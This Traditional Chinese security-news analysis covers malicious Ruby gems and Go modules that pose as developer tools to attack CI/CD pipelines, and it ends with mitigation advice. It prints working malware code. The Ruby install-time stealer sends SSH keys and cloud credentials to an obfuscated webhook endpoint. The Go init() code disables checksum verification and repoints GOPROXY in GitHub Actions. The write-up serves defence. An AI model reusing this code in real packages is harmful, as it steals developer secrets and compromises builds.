摘要

報告針對近期涉及惡意 Ruby Gems 與 Go Modules 的軟體供應鏈攻擊提供了技術分析。這些套件偽裝成合法的開發者工具,被發現會外洩敏感的認證資料、竄改建置環境,並在受害系統上建立持續存取能力。我們深入探討這些惡意套件所使用的技術機制,包括安裝時執行(install-time execution)、環境變數操縱(environment variable manipulation)以及代理劫持(proxy hijacking)。分析突顯了 Threat actor 用來滲透開發與 CI/CD 流程的複雜手法,並與其他生態系中的類似攻擊進行比較。此外,也討論了減緩策略與增強軟體供應鏈安全性的建議。

偽裝成開發工具的惡意套件:Ruby Gems 與 Go Modules 如何入侵你的 CI/CD 流程 | 資訊安全新聞

1. 簡介

軟體供應鏈的完整性是現代軟體開發中的關鍵議題。Threat actor 日益瞄準開放原始碼套件生態系來散佈惡意程式碼,利用開發者對第三方依賴套件的信任。這份報告檢視了一場特定攻擊活動,該活動涉及惡意 Ruby Gems 與 Go Modules,並在 GitHub 帳號 BufferZoneCorp 下被識別。這些套件最初看似是正常的工具,但後來更新加入了主動式 payload,設計用於外洩 Credential、竄改 GitHub Actions、Path hijacking、Proxy manipulation以及 SSH 持續存取 [1] 。此次分析目的在剖析這些惡意實體採用的技術方法,並深入了解其運作機制。

2. 惡意 Ruby Gems 的技術分析

主要的惡意 Ruby Gems 透過 knot-theory RubyGems 描述檔散佈,利用 typosquatting 技術冒充熱門的 Ruby 與 Rails 工具。一個關鍵範例是 knot-activesupport-logger ,它偽裝成 logging 輔助工具,但實際上是為了收集 secrets [1]

2.1 透過 extconf.rb 在安裝期間竊取 Credential

在 Ruby 生態系中,Credential 竊取的一個重要途徑是濫用 extconf.rb 。RubyGems 在安裝程序中會自動執行此檔案,作為原生擴充套件建置的一部分。惡意 gem 利用此機制,在使用者明確呼叫所宣稱的套件功能之前執行程式碼 [1]

下方的程式碼片段展示了此安裝期間外洩流程所涉及的核心組件:

  1. require 'mkmf' # install-time execution hook
  2. require 'net/http' # HTTP exfiltration
  3. require 'json' # JSON encoding
  4. require 'uri'
  5. require 'fileutils' # unused here; likely cover or prep
  6. require 'socket' # hostname collection
  7. require 'base64' # endpoint obfuscation
  8. def _r(p)
  9. # Read up to 4 KB from a file in the user's home directory
  10. File.read(File.join(Dir.home, p)).slice(0, 4096)
  11. rescue
  12. nil # suppress read errors
  13. end
  14. _ep = ENV['PKG_ANALYTICS_URL'] || \
  15. Base64.decode64(
  16. 'aHR0cHM6Ly93ZWJob29rLnNpdGUvNDljMjE4NDMtYzI3Yy00YTFiLWIxZjYtMDM3YzM5OTgwNTVm'
  17. )
  18. # Hidden exfil endpoint, overrideable at runtime
  19. # Decodes to: https://webhook[.]site/49c21843-c27c-4a1b-b1f6-037c3998055f
  20. _keys = %w[token key secret pass npm aws github stripe database api auth]
  21. # Keywords used to select secret-bearing environment variables
  22. _env = ENV.select { |k, _| _keys.any? { |s| k.downcase.include?(s) } }
  23. # Collect environment variables likely to hold credentials or tokens
  24. _data = {
  25. ts: Time.now.to_i,
  26. h: Socket.gethostname, # hostname
  27. u: ENV['USER'], # username
  28. p: RUBY_PLATFORM, # platform
  29. ci: !!ENV['CI'], # CI marker
  30. phase: 'install',
  31. env: _env, # selected environment secrets
  32. f: {
  33. rsa: _r('.ssh/id_rsa'), # SSH private key
  34. ed: _r('.ssh/id_ed25519'), # SSH private key
  35. aws: _r('.aws/credentials'), # AWS credentials
  36. npmrc: _r('.npmrc'), # npm credentials
  37. gem: _r('.gem/credentials'), # RubyGems credentials
  38. netrc: _r('.netrc'), # machine credentials
  39. gh: _r('.config/gh/hosts.yml'), # GitHub CLI auth data
  40. gitcfg: _r('.gitconfig'), # Git config and helper data
  41. }
  42. }
  43. begin
  44. _uri = URI.parse(_ep)
  45. _http = Net::HTTP.new(_uri.host, _uri.port)
  46. _http.use_ssl = _uri.scheme == 'https'
  47. _http.open_timeout = 3
  48. _req = Net::HTTP::Post.new(_uri.path.empty? ? '/' : _uri.path)
  49. _req['Content-Type'] = 'application/json'
  50. _req['X-Pkg-Id'] = 'activesupport-logger-install'
  51. _req.body = _data.to_json
  52. _http.request(_req) # exfiltrates harvested data during install
  53. rescue
  54. nil # suppress network errors
  55. end
  56. create_makefile('activesupport_logger_ext')
  57. # Forces RubyGems to run extconf.rb during installation

這段 Ruby 程式碼展示了幾個關鍵技術。首先載入網路通訊、JSON 編碼及檔案系統操作所需的函式庫。 _r 函式被設計為讀取使用者 home 目錄中特定檔案的最多 4KB 內容,目標是常見的 Credential 路徑,例如 SSH 金鑰、AWS 認證以及各種設定檔。外洩端點使用 Base64 編碼進行混淆,解碼後為 https://webhook[.]site/49c21843-c27c-4a1b-b1f6-037c3998055f 。環境變數會依據關鍵字(例如 token , key , secret , pass , aws , github , api , auth )進行過濾,以識別敏感資訊。最後,收集到的資料(包括 hostname、username、platform、CI 標記以及竊取到的 secrets)會被編碼為 JSON 格式,並在 gem 安裝期間透過 HTTP POST 請求傳送到隱藏的遠端端點。 create_makefile 的呼叫確保 extconf.rb 會被執行,從而強制執行惡意邏輯 [1]

3. 惡意 Go Modules 的技術分析

同樣與 BufferZoneCorp 相關的惡意 Go Modules 展現了更多樣化的 payload,通常針對 GitHub Actions 與其他 CI 環境。觀察到的一個常見模式是透過 init() 函式自動執行,該函式會在套件初始化時執行 [1]

3.1 GitHub Actions 中的 Dependency Poisoning

一個值得注意的範例是 github.com/BufferZoneCorp/go-metrics-sdk ,它將其惡意行為隱藏在 exporter.go 中。此模組的目標是竄改 GitHub Actions 中的 Go 模組信任設定 [1]

該模組會偵測 GITHUB_ENV 是否存在,解碼一個隱藏的外洩端點(或使用 PKG_ANALYTICS_URL 中的端點),從 go.sum 中移除特定的 Dependency line,並將遭竄改的環境設定附加到 workflow 環境中。這些設定包括操縱 GOPROXY 、停用 GOSUMDB 、以及將 GOMODCACHE 重新導向到一個暫存路徑。這有效地削弱了 checksum 保護機制,並強制依賴套件透過攻擊者控制的設定重新解析 [1]

以下 Go 程式碼展示了環境操縱與 go.sum 竄改的過程:

  1. package metrics
  2. import (
  3. "fmt"
  4. "os"
  5. "strconv"
  6. "strings"
  7. )
  8. // Hidden endpoint encoded as decimal byte fragments
  9. // Decodes to: https://webhook[.]site/49c21843-c27c-4a1b-b1f6-037c3998055f
  10. var _peers = []string{
  11. "104.116.116.112", "115.58.47.47", "119.101.98.104", "111.111.107.46",
  12. "115.105.116.101", "47.52.57.99", "50.49.56.52", "51.45.99.50",
  13. "55.99.45.52", "97.49.98.45", "98.49.102.54", "45.48.51.55",
  14. "99.51.57.57", "56.48.53.53", "102.0.0.0",
  15. }
  16. func _env(a, b string) string { return os.Getenv(a + b) }
  17. // Rebuilds "GITHUB_ENV" from fragments to evade simple string matching
  18. func _j(ss ...string) string {
  19. var b strings.Builder
  20. for _, s := range ss {
  21. b.WriteString(s)
  22. }
  23. return b.String()
  24. }
  25. // Joins suspicious strings from fragments
  26. func _resolve(peers []string) string {
  27. var out []byte
  28. for _, p := range peers {
  29. for _, part := range strings.Split(p, ".") {
  30. if n, err := strconv.Atoi(part); err == nil && n > 0 {
  31. out = append(out, byte(n))
  32. }
  33. }
  34. }
  35. return string(out)
  36. }
  37. // Decodes the hidden endpoint
  38. func init() {
  39. _syncRegistry()
  40. }
  41. // Runs automatically when the module initializes
  42. func _syncRegistry() {
  43. envFile := _env("GITHUB", "_ENV")
  44. if envFile == "" {
  45. return
  46. }
  47. // Only runs in GitHub Actions
  48. tb := _resolve(_peers)
  49. if v := os.Getenv("PKG_ANALYTICS_URL"); v != "" {
  50. tb = v
  51. }
  52. // Allows the endpoint to be overridden at runtime
  53. sumPath := "go.sum"
  54. if data, err := os.ReadFile(sumPath); err == nil {
  55. needle := _j("github.com", "/sirupsen", "/logrus")
  56. var keep []string
  57. for _, line := range strings.Split(string(data), "\n") {
  58. if !strings.Contains(line, needle) {
  59. keep = append(keep, line)
  60. }
  61. }
  62. os.WriteFile(sumPath, []byte(strings.Join(keep, "\n")), 0644)
  63. }
  64. // Removes logrus checksums from go.sum
  65. f, err := os.OpenFile(envFile, os.O_APPEND|os.O_WRONLY, 0600)
  66. if err != nil {
  67. return
  68. }
  69. defer f.Close()
  70. fmt.Fprintf(f, _j("GOP", "ROX", "Y=%s|direct\n"), tb)
  71. // Repoints GOPROXY to the hidden or overridden endpoint
  72. fmt.Fprintln(f, _j("GOS", "UMDB=off"))
  73. // Disables checksum database verification
  74. fmt.Fprintln(f, _j("GON", "OSU", "MDB=*"))
  75. // Skips checksum verification for all modules
  76. fmt.Fprintln(f, _j("GOF", "LAGS=-mod=mod"))
  77. // Forces module resolution behavior
  78. fmt.Fprintln(f, _j("GOMOD", "CACHE=/tmp/.go", "mod-cache"))
  79. // Redirects the module cache to a temp path
  80. }

這段 Go 程式碼展示了一種操縱 Go 建置環境的複雜方法。 _peers 變數以分段十進制位元組格式儲存外洩端點,然後由 _resolve 函式重新組裝。 init() 函式在模組初始化時自動呼叫 _syncRegistry() 。在 _syncRegistry() 內部,它會檢查 GITHUB_ENV 環境變數是否存在,以判斷是否在 GitHub Actions workflow 中執行。接著,它會從 go.sum 中移除特定的 checksum,並將多個環境變數( GOPROXY GOSUMDB GONOSUMDB GOFLAGS GOMODCACHE )附加到 GITHUB_ENV 檔案中。這有效地重新導向 Go 模組代理、停用 checksum 驗證,並操縱模組快取,使 Threat actor 更容易攔截或破壞下游的依賴套件解析過程 [1]

3.2 Proxy 操縱與假的 Go Wrapper

github.com/BufferZoneCorp/go-retryablehttp 等模組中觀察到的另一種技術涉及 Proxy 操縱與建立一個假的 go wrapper。此模組同樣透過 init() 執行,偵測 GITHUB_ENV GITHUB_PATH 。然後它會設定 HTTP_PROXY HTTPS_PROXY 環境變數,將一個假的 go 執行檔寫入快取目錄,並將此目錄附加到 workflow 的 PATH 中。這確保了假的 wrapper 會在合法的 go 執行檔之前被執行,讓攻擊者能夠攔截或影響後續的 go 執行,同時仍將控制權傳遞給真正的執行檔,以避免破壞建置程序 [1]

3.3 Credential 竊取、SSH 持續存取與 Workflow 竄改

模組 github.com/BufferZoneCorp/go-stdlib-ext 展示了 Credential 竊取、SSH 持續存取與 workflow 竄改的組合。它從 init() 自動執行,啟動一個背景 goroutine 來從本機 credential 檔案(例如 ~/.npmrc ~/.ssh/id_rsa ~/.aws/credentials ~/.config/gh/hosts.yml ~/.docker/config.json ~/.kube/config ~/.netrc )收集敏感資料。這些收集到的資料連同環境變數,隨後會被外洩到攻擊活動的收集端點 [1]

此模組的一個關鍵面向是其建立持續存取的能力。如果外洩成功,它會將一個寫死的 SSH 公鑰(標記為 deploy@buildserver )附加到 ~/.ssh/authorized_keys 。這使得 Threat actor 能夠在未來取得受感染主機的 SSH 存取權限,從單純的 Credential 竊取轉變為長期存取 [1] 。此外,該模組還會透過將 no-sum 設定寫入 workflow 環境,並植入另一個假的 go wrapper 來將呼叫參數發送到收集端點,之後再將控制權傳遞給真正的 Go 執行檔,從而竄改 GitHub Actions [1]

4. 與惡意 Rust Crates 的比較

雖然這份報告主要聚焦於 Ruby Gems 與 Go Modules,但與其他生態系中類似供應鏈攻擊進行比較仍具有啟發性。前期文章中關於惡意 Rust Crates 的文章 [2] 提供了一個有價值的比較。在那次攻擊活動中,像 faster_log async_println 這樣的惡意 Rust crates 使用 typosquatting 技術來冒充合法的 logging 函式庫,並竊取加密貨幣錢包金鑰 [2]

這些生態系之間攻擊手法的相似之處包括:

  • Typosquatting / 冒充: 所有攻擊活動都利用與合法套件相似的命名慣例,誘騙開發者安裝惡意版本 [1] [2]
  • 自動執行: Ruby Gems 使用 extconf.rb 在安裝時執行,Go Modules 使用 init() 函式,而 Rust Crates 可能採用了類似的機制(例如建置腳本或類似建構子的函式)以確保早期執行 [1] [2]
  • Credential / Secret 竊取: 所有觀察到的攻擊活動的主要目標都是外洩敏感的開發者 Credential、環境變數與設定檔 [1] [2]
  • 外洩至 C2 所有惡意套件都會與 Command and Control (C2) 伺服器通訊以外洩竊取的資料,通常使用混淆過的端點 [1] [2]
  • 持續存取機制: 除了立即的資料竊取之外,某些模組(如 Go 的 go-stdlib-ext )會透過 SSH authorized keys 建立持續存取能力,這種手法也可能被適應到其他生態系 [1]

一個主要的差異在於具體的目標以及資料收集的方法。Ruby Gems 與 Go Modules 專注於廣泛的開發者 Credential 以及 CI/CD 環境操縱,而所分析的 Rust Crates 則特別針對加密貨幣錢包金鑰,使用複雜的正規表示式模式來掃描 Ethereum 私鑰、Base58 tokens(Solana 位址)以及括號內的 byte arrays [2]

下圖說明了一個通用的軟體供應鏈攻擊流程,包含了在 Ruby/Go 以及 Rust 攻擊活動中觀察到的元素:

graph TD A[Threat Actor] --> B{Publish
Malicious Package} B --> C{Typosquatting
/Impersonation} C --> D[Developer
Installs Package] D --> E{"Automated Execution
(e.g., extconf.rb,
init(), build script)"} E --> F{Reconnaissance/
Environment Check} F --> G{Credential/
Secret Harvesting} G --> H{"Persistence
(e.g., SSH keys, backdoor)"} G --> I{Exfiltration to
C2 Server} H --> J[Long-term Access] I --> A

5. 緩解措施與建議

為了應對這類複雜的供應鏈攻擊,多層次的防禦策略至關重要:

  • 依賴套件稽核: 定期稽核所有第三方依賴套件,以發現已知漏洞與可疑行為。使用能夠在安裝與執行期間分析套件行為的工具。
  • 嚴格的存取控制: 對 CI/CD 環境與開發者工作站實施最小權限原則。限制建置任務可取得的 secrets 與 Credential 範圍。
  • 環境強化: 隔離建置環境並確保其為短暫存在。監控對關鍵環境變數(例如 GOPROXY GITHUB_ENV PATH )以及設定檔(例如 go.sum .ssh/authorized_keys )的未授權變更。
  • 網路監控: 監控建置環境的對外網路流量,留意是否有連線到可疑或未知端點的行為。
  • 程式碼審查: 進行徹底的程式碼審查,特別是針對新的或更新過的依賴套件,密切關注建置腳本(例如 extconf.rb )、初始化函式(例如 init() )以及任何與檔案系統或環境變數互動的程式碼。
  • 供應鏈安全工具: 採用專門的供應鏈安全工具,能夠根據行為分析與信譽來偵測並阻擋惡意套件。
  • 開發者教育: 教育開發者有關 typosquatting 的風險,以及在安裝前驗證套件真實性的重要性。

6. 結論

對惡意 Ruby Gems 與 Go Modules 的分析,以及來自類似 Rust Crates 攻擊的見解,突顯了軟體供應鏈中威脅形勢的演變。Threat actor 持續精進他們的手法,利用自動執行、混淆與冒充技術來滲透開發環境並竊取敏感資料。透過理解這些技術機制並實施強健的安全實務,組織可以顯著提升對此類攻擊的防禦能力。持續的警覺、主動監控以及在整個軟體開發生命週期中保持強大的安全態勢,對於防範這些持續存在的威脅至關重要。